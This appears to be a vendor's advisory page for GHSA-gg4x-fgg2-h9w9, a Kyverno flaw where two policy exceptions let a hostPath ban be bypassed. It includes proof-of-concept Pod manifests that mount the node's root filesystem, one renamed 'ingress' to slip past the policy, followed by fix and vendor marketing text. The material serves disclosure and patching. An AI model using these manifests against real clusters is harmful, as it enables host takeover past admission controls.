GHSA-gg4x-fgg2-h9w9 — kyverno
CRITICALGHSA-gg4x-fgg2-h9w9 is a critical-severity (CVSS 9) CWE-284 vulnerability in github.com/kyverno/kyverno. A fix is available for github.com/kyverno/kyverno — see the affected versions and patch details below.
Bypassing Kyverno Policies via Double Policy Exceptions
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-gg4x-fgg2-h9w9.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-gg4x-fgg2-h9w9 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/kyverno/kyvernoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
If a cluster has a Kyverno policy in enforce mode and there are two exceptions, this allows the policy to be bypassed, even if the first exception is more restrictive than the second.
Details
The following policy was applied:
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: disallow-host-path
annotations:
policies.kyverno.io/title: Disallow hostPath
policies.kyverno.io/category: Pod Security Standards (Baseline)
policies.kyverno.io/severity: medium
policies.kyverno.io/subject: Pod,Volume
kyverno.io/kyverno-version: 1.6.0
kyverno.io/kubernetes-version: "1.22-1.23"
policies.kyverno.io/description: >-
HostPath volumes let Pods use host directories and volumes in containers.
Using host resources can be used to access shared data or escalate privileges
and should not be allowed. This policy ensures no hostPath volumes are in use.
spec:
validationFailureAction: Enforce
background: true
rules:
- name: host-path
match:
any:
- resources:
kinds:
- Pod
validate:
message: >-
HostPath volumes are forbidden. The field spec.volumes[*].hostPath must be unset.
pattern:
spec:
=(volumes):
- X(hostPath): "null"
And two exceptions:
apiVersion: kyverno.io/v2beta1
kind: PolicyException
metadata:
name: disallow-host-path-exception
namespace: kyverno
spec:
exceptions:
- policyName: disallow-host-path
ruleNames:
- host-path
match:
any:
- resources:
kinds:
- DaemonSet
- Deployment
- Job
- StatefulSet
- ReplicaSet
- ReplicationController
- Pod
- CronJob
namespaces:
- luntry
- tstkyverno
- examplens
apiVersion: kyverno.io/v2beta1
kind: PolicyException
metadata:
name: disallow-host-path-exception-names
namespace: kyverno
spec:
exceptions:
- policyName: disallow-host-path
ruleNames:
- host-path
match:
any:
- resources:
kinds:
- DaemonSet
- Deployment
- Job
- StatefulSet
- ReplicaSet
- ReplicationController
- Pod
- CronJob
names:
- '*haproxy*'
- '*ingress*'
Trying to apply such a yaml will result in the expected ban:
apiVersion: v1
kind: Pod
metadata:
name: mtkpi
labels:
app: pentest
spec:
containers:
- name: mtkpi
image: ubuntu
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
volumes:
- name: noderoot
hostPath:
path: /
However, if the load name is changed to satisfy the second exception, the restrictions can be bypassed:
apiVersion: v1
kind: Pod
metadata:
name: ingress
labels:
app: pentest
spec:
containers:
- name: mtkpi
image: ubuntu
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
volumes:
- name: noderoot
hostPath:
path: /
It turns out that the second exception is higher in priority for Kyverno and allows for bypass of the restrictions.
Impact
The security restrictions can be bypassed.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/kyverno/kyverno | ≥ 1.9.0&&< 1.13.0 | 1.13.0go get github.com/kyverno/kyverno@v1.13.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/kyverno/kyverno, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/kyverno/kyverno to 1.13.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-gg4x-fgg2-h9w9 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-gg4x-fgg2-h9w9 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-gg4x-fgg2-h9w9. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-gg4x-fgg2-h9w9 in your dependencies?
O3 Security finds GHSA-gg4x-fgg2-h9w9 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.